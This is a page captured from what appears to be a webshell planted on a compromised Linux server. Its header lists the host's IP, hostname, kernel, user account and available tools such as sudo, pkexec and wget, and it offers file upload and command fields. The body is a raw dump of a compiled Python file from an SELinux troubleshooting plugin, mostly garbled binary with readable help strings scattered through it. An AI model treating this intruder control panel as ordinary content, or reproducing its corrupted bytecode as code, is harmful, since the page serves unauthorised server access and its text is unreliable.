- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 13.59.217.1
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/setroubleshoot/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/setroubleshoot/plugins/__pycache__/restorecon.cpython-36.opt-1.pyc
3

nm�aG�@s~ddlZejddd�ZejZddlTddlmZddlZddlTddlZda	dd�Z
d	gZd
d�ZddlZGdd
�d
e�Z
dS)�Nzsetroubleshoot-pluginsT)Zfallback)�*)�PlugincCs.ts&ttj��}|j�jd�a|j�|tkS)N�
)�customizable_types�open�selinuxZselinux_customizable_types_path�read�split�close)�target�fd�r
�//usr/share/setroubleshoot/plugins/restorecon.py�customizable s
rz/sys/fscCs xtD]}|j|�rdSqWdS)NTF)�excluded_paths�
startswith)Ztarget_path�pathr
r
r�
excluded_path,s

rc@sTeZdZed�ZdZed�Zdd�Zed�Zdd�Z	ed�Z
dZdd
�Zdd�Z
dS)�pluginzN
    SELinux is preventing $SOURCE_PATH "$ACCESS" access to $TARGET_PATH.
    z/sbin/restorecon $TARGET_PATHz�
    You can restore the default system context to this file by executing the
    restorecon command.  restorecon '$TARGET_PATH', if this file is a directory,
    you can recursively restore using restorecon -R '$TARGET_PATH'.
    cCstd�|dS)Na�
    SELinux denied access requested by $SOURCE. $TARGET_PATH may
    be mislabeled.  $TARGET_PATH default SELinux type is
    <B>%s</B>, but its current type is <B>$TARGET_TYPE</B>. Changing
    this file back to the default type may fix your problem.
    <p>
    File contexts can be assigned to a file in the following ways.
    <ul>
        <li>Files created in a directory receive the file context of the parent directory by default.
        <li>The SELinux policy might override the default label inherited from the parent directory by
            specifying a process running in context A which creates a file in a directory labeled B
            will instead create the file with label C. An example of this would be the dhcp client running
            with the dhcpc_t type and creating a file in the directory /etc. This file would normally
            receive the etc_t type due to parental inheritance but instead the file
            is labeled with the net_conf_t type because the SELinux policy specifies this.
        <li>Users can change the file context on a file using tools such as chcon, or restorecon.
    </ul>
    This file could have been mislabeled either by user error, or if an normally confined application
    was run under the wrong domain.
    <p>
    However, this might also indicate a bug in SELinux because the file should not have been labeled
    with this type.
    <p>
    If you believe this is a bug, please file a bug report against this package.
    �)�_)�self�avc�argsr
r
r�get_problem_description?szplugin.get_problem_descriptionzGIf you want to fix the label. 
$TARGET_PATH default label should be %s.cCs|j|dS)Nr)�if_text)rrrr
r
r�get_if_text\szplugin.get_if_textzTyou can run restorecon. The access attempt may have been stopped due to insufficientzh permissions to access a parent directory in which case try to change the following command accordingly.z"# /sbin/restorecon -v $TARGET_PATHcCs0tj|t�|jd�d|_d|_td�|_dS)N�dZgreenTzRestore
Context)r�__init__�__name__Zset_priority�levelZfixablerZbutton_text)rr
r
rrds

zplugin.__init__cCs6|js
dS|jjdkrdS|jjtkr*dS|jd�r8dSi}t|d<t|d<t|d<t|d<t	|d<|j
|j���r2|jdkr�dS|jd	kr�dS|jd
d	kr�dSt
|j�r�dSt|jj�r�dSyLtj|jjd�||j�d}|jd
�d}||jjk�r
|jd
|f�SWn$tk
�r0}zWYdd}~XnXdS)N�cifs_t�nfs_tZ	relabelto�dir�fileZlnk_fileZchr_fileZblk_file�/r�"r�:�)r!r")Zquery_environmentZtcontext�typeZ
file_typesZall_accesses_are_in�S_IFDIR�S_IFREG�S_IFLNK�S_IFCHR�S_IFBLKZ
has_tclass_in�keysZtpathrrrZmatchpathcon�stripZtclassr	Zreport�OSError)rrZrestorecon_filesZmconZ	mcon_type�er
r
r�analyzeksB



zplugin.analyzeNz�you can run restorecon. The access attempt may have been stopped due to insufficient permissions to access a parent directory in which case try to change the following command accordingly.)r�
__module__�__qualname__rZsummaryZfix_cmdZfix_descriptionrrrZ	then_textZdo_textrr3r
r
r
rr2sr)�gettextZtranslationrZsetroubleshoot.utilZsetroubleshoot.Pluginr�os�statrrrrrrr
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit